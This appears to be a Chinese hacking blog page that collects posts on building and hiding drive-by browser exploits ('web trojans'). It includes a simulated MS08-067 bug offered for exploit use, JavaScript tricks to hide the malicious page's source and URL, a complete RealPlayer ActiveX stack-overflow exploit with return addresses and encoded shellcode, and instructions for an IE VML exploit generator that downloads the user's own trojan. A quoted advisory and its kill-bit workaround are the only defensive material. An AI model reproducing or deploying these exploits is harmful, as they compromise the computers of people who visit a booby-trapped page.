swf网马的解密
作者:isno
现在都流行用flash挂马了,一般都用SWF Encrypt来加密,很难反编译出其中的AS脚本。但是基于无论是AS还是JS来heapspray,其中都会调用import flash.external.*;ExternalInterface.call("eval","xxxx");。如果是这种形式的我们就可以利用 hook eval的方法来解密:
作者:isno
现在都流行用flash挂马了,一般都用SWF Encrypt来加密,很难反编译出其中的AS脚本。但是基于无论是AS还是JS来heapspray,其中都会调用import flash.external.*;ExternalInterface.call("eval","xxxx");。如果是这种形式的我们就可以利用 hook eval的方法来解密:
已经出来有一周了,很多人还在忙着编译,放个可以做网马的exploit出来。
又一场腥风血雨
#include
// This is the decompiled function sub_5B86A51B in netapi32.dll on XP SP3
int ms08_067(wchar_t* path)
{
wchar_t* p;
wchar_t* q;
wchar_t* previous_slash = NULL;
wchar_t* current_slash = NULL;
wchar_t ch;
// If the path starts with a server name, skip it
if ((path[0] == L'\\' || path[0] == L'/') &&
(path[1] == L'\\' || path[1] == L'/'))
{
p = path+2;
while (*p != L'\\' || *p != L'/') {
if (*p == L'\0')
return 0;
p++;
}
p++;
// make path point after the server name
path = p;
// make sure the server name is followed by a single slash
if (path[0] == L'\\' || path[0] == L'/')
return 0;
}
if (path[0] == L'\0') // return if the path is empty
return 1;
// Iterate through the path and canonicalize ..\ and .\
p = path;
while (1) {
if (*p == L'\\') {
// we have a slash
if (current_slash == p-1) // don't allow consequtive slashes
return 0;
// store the locations of the current and previous slashes
previous_slash = current_slash;
current_slash = p;
}
else if (*p == L'.' && (current_slash == p-1 || p == path)) {
// we have \. or ^.
if (p[1] == L'.' && (p[2] == L'\\' || p[2] == L'\0')) {
// we have a \..\, \..$, ^..\ or ^..$ sequence
if (previous_slash == NULL)
return 0;
// example: aaa\bbb\..\ccc
// ^ ^ ^
// | | &p[2]
// | |
// | current_slash
// |
// previous_slash
ch = p[2];
wcscpy(previous_slash, &p[2]);
if (ch == L'\0')
return 1;
current_slash = previous_slash;
p = previous_slash;
// find the slash before p
// BUG: if previous_slash points to the beginning of the
// string, we'll go beyond the start of the buffer
//
// example string: \a\..\
q = p-1;
while (*q != L'\\' && q != path)
q--;
if (*p == L'\\')
previous_slash = q;
else
previous_slash = NULL;
}
else if (p[1] == L'\\') {
// we have \.\ or ^.\
if (current_slash != NULL) {
wcscpy(current_slash, &p[1]);
goto end_of_loop;
}
else { // current_slash == NULL
wcscpy(p, p+2);
goto end_of_loop;
}
}
else if (p[1] != L'\0') {
// we have \. or ^. followed by some other char
if (current_slash != NULL) {
p = current_slash;
}
*p = L'\0';
return 1;
}
}
p++;
end_of_loop:
if (*p == L'\0')
return 1;
}
}
// Run this program to simulate the MS08-067 vulnerability
int main()
{
return ms08_067(L"\\a\\..\\");
}
网马再怎么加密,都有可能被反加密的可能,为了更好保护自己的代码,看看这办法,但这办法对付不了抓包分析,数据包抓取也是没办法的
目的:查看源代码没有内容,查看缓冲区也没内容
1.asp文件写法
<%'禁止缓冲区
Response.CacheControl = "no-cache"
Response.AddHeader "Pragma", "no-cache"
Response.Expires = 0
%>
-----------代码-----------------
<script>function clear(){document.write("");}window.onload = clear;</script>
2HTML写法
<HEAD>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="0">
</HEAD>
-----------代码-----------------
<script>function clear(){document.write("");}window.onload = clear;</script>
让网马地址在IE状态栏不显示网马地址
function c(){
window.status="完毕";
}
setInterval(c,1);
<script language="javascript">
eval("function RealExploit()
{
var user = navigator.userAgent.toLowerCase();
if(user.indexOf("msie 6")==-1&&user.indexOf("msie 7")==-1)
return;
if(user.indexOf("nt 5.")==-1)
return;
VulObject = "IER" + "PCtl.I" + "ERP" + "Ctl.1";
try
{
Real = new ActiveXObject(VulObject);
}catch(error)
{
return;
}
RealVersion = Real.PlayerProperty("PRODUCTVERSION");
Padding = "";
JmpOver = unescape("%75%06%74%04");
for(i=0;i<32*148;i++)
Padding += "S";
if(RealVersion.indexOf("6.0.14.") == -1)
{
if(navigator.userLanguage.toLowerCase() == "zh-cn")
ret = unescape("%7f%a5%60");
else if(navigator.userLanguage.toLowerCase() == "en-us")
ret = unescape("%4f%71%a4%60");
else
return;
}
else if(RealVersion == "6.0.14.544")
ret = unescape("%63%11%08%60");
else if(RealVersion == "6.0.14.550")
ret = unescape("%63%11%04%60");
else if(RealVersion == "6.0.14.552")
ret = unescape("%79%31%01%60");
else if(RealVersion == "6.0.14.543")
ret = unescape("%79%31%09%60");
else if(RealVersion == "6.0.14.536")
ret = unescape("%51%11%70%63");
else
return;
if(RealVersion.indexOf("6.0.10.") != -1)
{
for(i=0;i<4;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.11.") != -1)
{
for(i=0;i<6;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.12.") != -1)
{
for(i=0;i<9;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
else if(RealVersion.indexOf("6.0.14.") != -1)
{
for(i=0;i<10;i++)
Padding = Padding + JmpOver;
Padding = Padding + ret;
}
AdjESP = "LLLL\\XXXXXLD";
Shell = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIJKBtnkSEgLnkD4vUT8fczUpVLKQfa04CHuFSJiCyqQnMFSIKtvvomnVtFHfXYbbTTHYQzkTMgsxZ3pjKHoUkyO1eJGqNlKsnQ4S3YMRFnkDL2knkQNELeSIMNkGtlKFckukspuSB2LrMrOpnTnE4RLRLS01S7JclRuVNSUt8PegpEcIPU4vcQPP0ahTLnkaP4LNkppwlNMLKSps8JKS9lKCpUdLMcpcLNkaPWLJ5OOLNbn4NjLzHNdKOyokOmS8ls4K3dltd7LIoN0lUv0MoTv4ZdoBPhhROkOKOYoLKSdWTkLLMSbNZVSYKrsbs3bzKfD0SKOjp1MOONxKNozTNm8scioKOkONcJLUTK3VLQ4qrKOxPMosNkhm2qcHhspKOkO9obrkOXPkXKg9oKO9osXsDT4pp4zvODoE4ea6NPlrLQcu71yrNcWTne3poPmTo2DDqFOprrLDnpecHQuWp";
PayLoad = Padding + AdjESP + Shell;
while(PayLoad.length < 0x8000)
PayLoad += "YuanGe"; // 汗~袁哥~-.=!
Real.Import("c:\\Program Files\\NetMeeting\\TestSnd.wav", PayLoad,"", 0, 0);
}
RealExploit();")
</script>
关于该漏洞的说明(来自绿盟):
Quotation
RealPlayer ierpplug.dll ActiveX控件播放列表名称栈溢出漏洞
RealPlayer是一款流行的媒体播放器,支持多种媒体格式。
RealPlayer的MPAMedia.dll库所提供的RealPlayer数据库组件在处理播放列表名时存在栈溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。
由于可使用ierpplug.dll所提供的IERPCtl ActiveX控件将本地文件导入到RealPlayer中指定的播放列表,因此如果用户受骗访问了恶意网页并通过IERPCtl ActiveX控件的Import()方式导入了恶意文件的话,就可以触发这个溢出,导致拒绝服务或执行任意指令。
< *来源:Will Dormann
链接:http://www.symantec.com/enterprise/security_response/weblog/2007/10/realplayer_exploit_on_the_loos.h
http://www.kb.cert.org/vuls/id/871673
http://service.real.com/realplayer/security/191007_player/en/
http://secunia.com/advisories/27248/
http://www.us-cert.gov/cas/techalerts/TA07-297A.html
*>
建议:
--------------------------------------------------------------------------------
临时解决方法:
在IE中禁用IERPCtl ActiveX控件,为以下CLSID设置kill bit:
{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}
或将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}]
"Compatibility Flags"=dword:00000400
文章作者:XiaoC
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
本人根据jamikazu 的代码修改的,克服了n0p的溢出只能在2000系统上运行的缺陷!
过Windows SP2的IE_VML网页木马生成器
过Windows SP2
使用方法:
注:请勿直接运行Shellcode.exe!
1.用记事本打开“生成.bat” 修改http://www.cc99.cn/xxx.exe为你的马的地址。
2.保存“生成.bat”后双击运行,即可生成ShellCode.txt.
3.用记事本打开IE_VML.htm,找到#########Your Shellcode!!!#########的字样,
把生成的ShellCode.txt中的Shellcode复制替换#########Your Shellcode!!!#########,保存!
4.网页木马就这样生成拉!
本程序仅供学习使用,请务用于非法用途,否则后果自负!
利用代码提供
Author: jamikazu
Mail: jamikazu@gmail.com
Credit: metasploit, SkyLined
感谢n0p提供Shellcode
XiaoC修改合成制作
下载地址:http://www.cc99.cn/viewdown.asp?id=66
近期评论